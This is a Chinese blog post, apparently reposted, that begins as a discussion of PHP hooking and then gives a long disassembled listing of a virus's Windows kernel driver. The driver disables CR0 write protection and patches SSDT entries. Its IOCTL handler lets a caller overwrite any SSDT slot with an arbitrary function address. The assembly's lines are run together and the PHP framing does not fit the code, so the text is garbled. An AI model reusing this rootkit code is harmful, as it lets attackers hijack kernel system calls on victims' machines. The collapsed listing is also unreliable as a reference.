PHP讨论之什么是HOOK?

阅读: 评论:0

PHP讨论之什么是HOOK?

PHP讨论之什么是HOOK?

做个广告先,PHP学习群6848027
今天在群里和群友讨论到了PHP的HOOK模式,感觉对方说的非常有趣,于是就有了这篇文章

首先纠结一下到底什么是HOOK?
大家都说HOOK是钩子,这到底是做什么的?
想想下面的场景
桌面EXE程序本身所有的代码都被封装了(开发者不提供标准接口),不提供?那如果我们想要扩展这个EXE的功能怎么办?
这个时候就用到HOOK了,将自己的代码写到EXE进程,拦截掉原有的被HOOK的函数,实现我们的HOOK代码

在想想下面的场景
一个PHP程序本身源代码被加密,如何HOOK?我们想重写PHP的代码怎么办呢?哈哈,有人说解密就行了
解密是一种方式,我想不改变源代码的情况下实现呢?当然这就需要开发者提供接口了!
实际上你想要在JAVA,C#,C++中实现一种类似HOOK的功能你就必须定义接口,供人HOOK,
然而PHP自身为动态语言,一切都是泛型(这也是PHP的强大之处)实现接口并无实际意义,反而浪费了很多代码,有时一个
回调函数可能来的更直接效率更高,所以这些习惯了动态脚本代码的PHPCODER早已忘了什么是接口了,一味的理解自己认为的HOOK。
 
至于如何实现优雅的PHP接口,我从原来反汇编的一个病毒程序中得到了一些启示.
多播接口我想在PHP界目前还没有这个先进的说法吧(准备写个这个模式的教程,哇哈哈)
来看看下面的这个病毒程序是如何实现的

整体思路
1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出 模块的内存加载位置,然后通过的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。



.386 .model flat,stdcall option casemap:noneinclude w2kntstatus.inc include w2kntddk.incinclude w2kntoskrnl.inc includelib C:RadASMmasm32libw2kntoskrnl.lib include Swk0207.inc.data unk_10B80 db 4Eh ; Ndb 0E6h ; ?db 40h ; @db 0BBh ; ? OldSSDTValueOfZwQuerySystemInformation de ; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ,0 int3 push 24h FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h;*********************************************************************************************** ; ZwQuerySystemInformation获取的内存加载地址 ;***********************************************************************************************;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11 ;{ ; ULONG Reserved[2]; +0 ; PVOID Base; +08h ; ULONG Size; +0ch ; ULONG Flags; +10h ; USHORT Index; +14h ; USHORT Unknown; +16h ; USHORT LoadCount; +18h ; USHORT ModuleNameOffset; +1Ah ; CHAR ImageName[256]; +1Ch ;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, ; IN OUT PVOID SystemInformation, ; IN ULONG SystemInformationLength, ; OUT PULONG ReturnLength OPTIONAL );;typedef struct _tagSysModuleList { ; ULONG ulCount; ; SYSTEM_MODULE_INFORMATION smi[1]; ;} SYSMODULELIST, *PSYSMODULELIST;;用法如下: ;s = NtQuerySystemInformation( SystemModuleInformation, pRet, ;sizeof( SYSMODULELIST ), &nRetSize );xor ebx, ebxmov [ebp-24h], ebxmov [ebp-4], ebxlea eax, [ebp-1Ch] push eax ;ReturnLengthpush ebx ;SystemInformationLength = 0lea eax, [ebp-20h] push eax ;SystemInformationpush 0Bh ;SystemModuleInformation,遍历模块mov esi, ZwQuerySystemInformationcall esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度mov [ebp-28h], eaxcmp eax, 0C0000004hjnz ERRORRETpush 206B6444h ; ' kdD'标签push dword ptr [ebp-1Ch] ;申请的长度push ebx ;NonPagedPoolcall ExAllocatePoolWithTagmov edi, eaxmov [ebp-30h], edi ;保留返回值cmp edi, ebx ;判断返回值是否为空jnz NextStepor dword ptr [ebp-4], 0FFFFFFFFhxor eax, eaxjmp ErrAllocMemNextStep:lea eax, [ebp-34h] ;ReturnLengthpush eaxpush dword ptr [ebp-1Ch] ;SystemInformationLengthpush edi ;SystemInformationpush 0Bh ;SystemModuleInformationcall esi ; ZwQuerySystemInformationmov [ebp-28h], eaxcmp eax, ebxjl ReleaseMemorymov eax, [edi]mov [ebp-1Ch], eax ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数lea esi, [edi+4] mov [ebp-2Ch], esi ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址mov [ebp-20h], ebx ;计数变量清零FORLOOP:mov eax, [ebp-1Ch] ;开始for循环cmp [ebp-20h], eaxjnb ReleaseMemorypush offset FunctionArray; 例如: ImageName: windowssystem32ndis.sys, 那么 ModuleNameOffset 就是 0x11 movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffsetpush eax ;不包含路径的名字call _stricmppop ecx ;出栈pop ecxtest eax, eaxjnz ContinueLoopmov eax, [esi+8] ;返回SYSTEM_MODULE_INFORMATION.Basemov [ebp-24h], eax ;返回值保存在[ebp-24h]单元ReleaseMemory:push edicall ExFreePooljmp ERRORRETContinueLoop:inc dword ptr [ebp-20h] ;循环变量递增add esi, 11Ch ;取下一个SYSTEM_MODULE_INFORMATION类型元素mov [ebp-2Ch], esi ;暂存当前的SYSTEM_MODULE_INFORMATION元素jmp FORLOOPSehFunction proc near mov esp, [ebp-18h] ERRORRET:: or dword ptr [ebp-4], 0FFFFFFFFhmov eax, [ebp-24h] ErrAllocMem:: ret SehFunction endp;******************************************************************************************** ; 相当于GetProcessAddress的功能, hModule是指模块,查找该PE导出表, ; 找出pFunctionName的函数地址. ; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的 ; 索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions ; 索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数 ; 的地址,不同则继续找... ;******************************************************************************************** GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dwordLOCAL AddressOfNameOrdinals:dword;函数名序号表LOCAL AddressOfNames:dword ;函数名地址表LOCAL OutputTable:dword ;导出表地址LOCAL AddressOfFunctions:dword ;指向导出函数地址表中的指针LOCAL pFunctionName:dword ;函数名LOCAL i:dword ;循环变量LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号LOCAL CurAddressOfNames:dword ;当前的函数名地址LOCAL nIndex:dword ;循环变量LOCAL myFoundOutFunctionName:dword ;我们从函数名地址表中找出的函数名指针LOCAL InputFunctionName:dword ;输入的函数名指针,指向参数2LOCAL SecondCharacterOfFunctionName:byteLOCAL FirstCharacterOfFunctionName:bytemov edx, hModulemov eax, [edx+3Ch]add eax, edx ; 指向PEHeadercmp word ptr [edx], 5A4Dh ; 'MZ'jnz Quitcmp dword ptr [eax], 4550h ;'PE'jnz Quitmov eax, [eax+78h]add eax, edx ;指向导出表mov OutputTable, eaxmov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames add edi, edxmov AddressOfNames, edimov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctionsadd esi, edxmov AddressOfFunctions, esimov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinalsadd ecx, edxmov AddressOfNameOrdinals, ecxand nIndex, 0mov edx, pFunctionNameStartSearch:mov ebx, nIndexcmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsjnb Quitcmp dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空jz NextAddressOfFunction ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数mov CurAddressOfNames, edimov CurAddressOfNameOrdinals, ecxand i, 0StartFindFunctionFromAddressOfNames:mov ebx, icmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames jnb OutOfRangemov ebx, CurAddressOfNameOrdinalsmovzx ebx, word ptr [ebx]cmp ebx, nIndex ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致jnz NextAddressOfNameOrdinalsmov edx, CurAddressOfNamesmov edx, [edx]add edx, hModulemov pFunctionName, edx ;取出函数名OutOfRange:test edx, edx ;判断是否空jz ContinueWorkmov myFoundOutFunctionName, edx ;暂存函数名mov edx, FunctionNamemov InputFunctionName, edx ;暂存输入的函数名CompareFunctionName:mov edx, InputFunctionNamemov dl, [edx]mov FirstCharacterOfFunctionName, dlmov ebx, myFoundOutFunctionNamecmp dl, [ebx]jnz Different ;不相同test dl, dl ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个jz RetCurrentFunctionAddressmov edx, InputFunctionName ;比对函数名中的下一个字符mov dl, [edx+1]mov SecondCharacterOfFunctionName, dlcmp dl, [ebx+1]jnz Differentadd InputFunctionName, 2add myFoundOutFunctionName, 2test dl, dljnz CompareFunctionNameRetCurrentFunctionAddress:xor edx, edx ;edx = 0,表示找到对应的函数jmp GetFunctionAddressNextAddressOfNameOrdinals:add CurAddressOfNames, 4add CurAddressOfNameOrdinals, 2inc ijmp StartFindFunctionFromAddressOfNamesDifferent:sbb edx, edxsbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找GetFunctionAddress:test edx, edxjnz ContinueWorkmov esi, [esi]add esi, hModulemov eax, esi ;返回函数地址jmp FoundedContinueWork:xor edx, edxmov pFunctionName, edxNextAddressOfFunction:add esi, 4mov AddressOfFunctions, esiinc nIndexjmp StartSearchQuit:xor eax, eax Founded:ret GetProcessFromNtoskrnl endp;************************************************************************** ; 给出一个索引值和一个函数地址,修改ssdt表 ;************************************************************************** HookSSDTByFunIndex proc Value:dword,Index:dwordmov ecx, Indexmov eax, KeServiceDescriptorTablecmp ecx, [eax+8] ;NumberOfServicejb @fxor al, aljmp Quit@@:;去掉写保护push eaxmov eax, cr0and eax, 0FFFEFFFFhmov cr0, eaxpop eaxmov eax, KeServiceDescriptorTablemov eax, [eax]mov edx, Value; Valuelea ecx, [eax+ecx*4] ; Targetcall InterlockedExchange;恢复写保护push eaxmov eax, cr0or eax, 10000hmov cr0, eaxpop eaxQuit:ret HookSSDTByFunIndex endp;************************************************************************** ; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值 ;************************************************************************** HookSSDT proc Value:dword,FunAddr:dwordpush eax;去掉写保护mov eax, cr0and eax, 0FFFEFFFFhmov cr0, eax pop eaxmov ecx, KeServiceDescriptorTablemov eax, FunAddrmov eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的indexmov ecx, [ecx] ;ServiceTableBasemov edx, Value ; Valuelea ecx, [ecx+eax*4] ; Targetcall InterlockedExchangemov ecx, eaxpush eax;恢复写保护mov eax, cr0or eax, 10000hmov cr0, eaxpop eaxmov eax, ecxret HookSSDT endpSourceString wchar L(<\DosDevices\Swk0217>)swkUnLoad proc pDriverObject :dwordLOCAL DestinationString:UNICODE_STRINGpush ecxpush ecxpush offset SourceString ; SourceStringlea eax, DestinationStringpush eax ; DestinationStringcall RtlInitUnicodeStringlea eax, DestinationStringpush eax ; SymbolicLinkNamecall IoDeleteSymbolicLinkmov eax, pDriverObject push dword ptr [eax+4] ; DeviceObjectcall IoDeleteDeviceret swkUnLoad endpaNtquerysystemi db 'NtQuerySystemInformation',0DispatchFunction:push esi mov esi, [esp+0Ch] ;pIrpmov eax, [esi+60h] ;取IRP.CurrentStackLocationand dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.incand dword ptr [esi+1Ch], 0cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffermov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLengthpush edijnz CreateAndClosemov eax, [eax+0Ch] ;IoControlCodecmp eax, 83471060h jz GetSSDTNum ;获取ssdt函数个数cmp eax, 83471064hjz GetSSDTFunction ;获取ssdt函数表cmp eax, 83471068hjz HookZwQuerySystemInformation ;hook ZwQuerySystemInformationcmp eax, 8347106Chjz RestoreHookSSDT ;恢复前面hook的ZwQuerySystemInformationcmp eax, 83471070hjz ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表mov dword ptr [esi+18h], 0C000000Dh ;IoStatusjmp CreateAndCloseModifySSDTByFunIndex:push 8pop edicmp ecx, edi ;判断InputBufferLength是否等于8jnz CreateAndClosepush dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引push dword ptr [edx] ;;SystemBuffer中第一个dword值,代表一个给定的函数地址call HookSSDTByFunIndextest al, aljz CreateAndClosemov [esi+1Ch], edijmp CreateAndCloseRestoreHookSSDT: ;恢复ssdt表mov eax, OldSSDTValueOfZwQuerySystemInformationtest eax, eaxjz CreateAndClosemov ecx, ZwQuerySystemInformationcmp eax, ecxjz HaveDonepush ecxpush eaxcall HookSSDTHaveDone:and OldSSDTValueOfZwQuerySystemInformation, 0jmp CreateAndCloseHookZwQuerySystemInformation:call near ptr FunctionArray+0Eh ;执行 push 24h,通过ZwQuerySystemInformation获取的内存加载地址test eax, eaxjz CreateAndClosepush offset aNtquerysystemi ; "NtQuerySystemInformation"push eaxcall GetProcessFromNtoskrnlmov ecx, ZwQuerySystemInformationcmp eax, ecxjz CreateAndClosepush ecxpush eaxcall HookSSDTmov OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址jmp CreateAndCloseGetSSDTFunction:mov eax, KeServiceDescriptorTablemov edi, [eax+8] ;NumberOfServicepush ebxmov ebx, edishl ebx, 2 ;NumberOfService*4cmp ecx, ebx ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够pop ebxjb CreateAndClosexor ecx, ecxtest edi, edijbe GetSSDTFunctionErrGetNextSSDTFunction:mov eax, [eax]mov eax, [eax+ecx*4]mov [edx+ecx*4], eaxmov eax, KeServiceDescriptorTableinc ecxcmp ecx, [eax+8]jb GetNextSSDTFunctionGetSSDTFunctionErr:mov eax, [eax+8]shl eax, 2jmp QuitGetSSDTNum:push 4pop eaxcmp ecx, eax ;输入长度<4跳转jb CreateAndClosemov ecx, KeServiceDescriptorTablemov ecx, [ecx+8] ;NumberOfServicemov [edx], ecx ;edx指向IRP.AssociatedIrp.SystemBufferQuit:mov [esi+1Ch], eaxCreateAndClose:mov edi, [esi+18h] ;IoStatusxor dl, dlmov ecx, esicall IofCompleteRequestmov eax, edipop edipop esiretwcharDeviceName wchar L(<\Device\Swk0217>) wcharSymbolicLink wchar L(<\DosDevices\Swk0217>)start proc DriverObject:dwordLOCAL SymbolicLinkName:UNICODE_STRINGLOCAL DestinationString:UNICODE_STRINGLOCAL DeviceObject:dwordand DeviceObject, 0push esipush edimov edi, RtlInitUnicodeStringpush offset wcharDeviceName ; SourceStringlea eax, DestinationStringpush eax ; DestinationStringcall edi ; RtlInitUnicodeStringmov esi, DriverObjectlea eax, DeviceObjectpush eax ; DeviceObjectpush 0 ; Exclusivepush 0 ; DeviceCharacteristicspush 598347h ; DeviceTypelea eax, DestinationStringpush eax ; DeviceNamepush 0 ; DeviceExtensionSizepush esi ; DriverObjectcall IoCreateDevicetest eax, eaxjl @fpush offset wcharSymbolicLink ; SourceStringlea eax, SymbolicLinkNamepush eax ; DestinationStringcall edi ; RtlInitUnicodeStringlea eax, DestinationStringpush eax ; DeviceNamelea eax, SymbolicLinkNamepush eax ; SymbolicLinkNamecall IoCreateSymbolicLinkmov ecx, offset DispatchFunctionmov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROLmov [esi+40h], ecx ;IRP_MJ_CLOSEmov [esi+38h], ecx ;IRP_MJ_CREATEmov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad@@:pop edipop esiret start endp

 

转载于:.html

本文发布于:2024-01-31 12:53:16,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170667679628658.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:PHP   HOOK
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23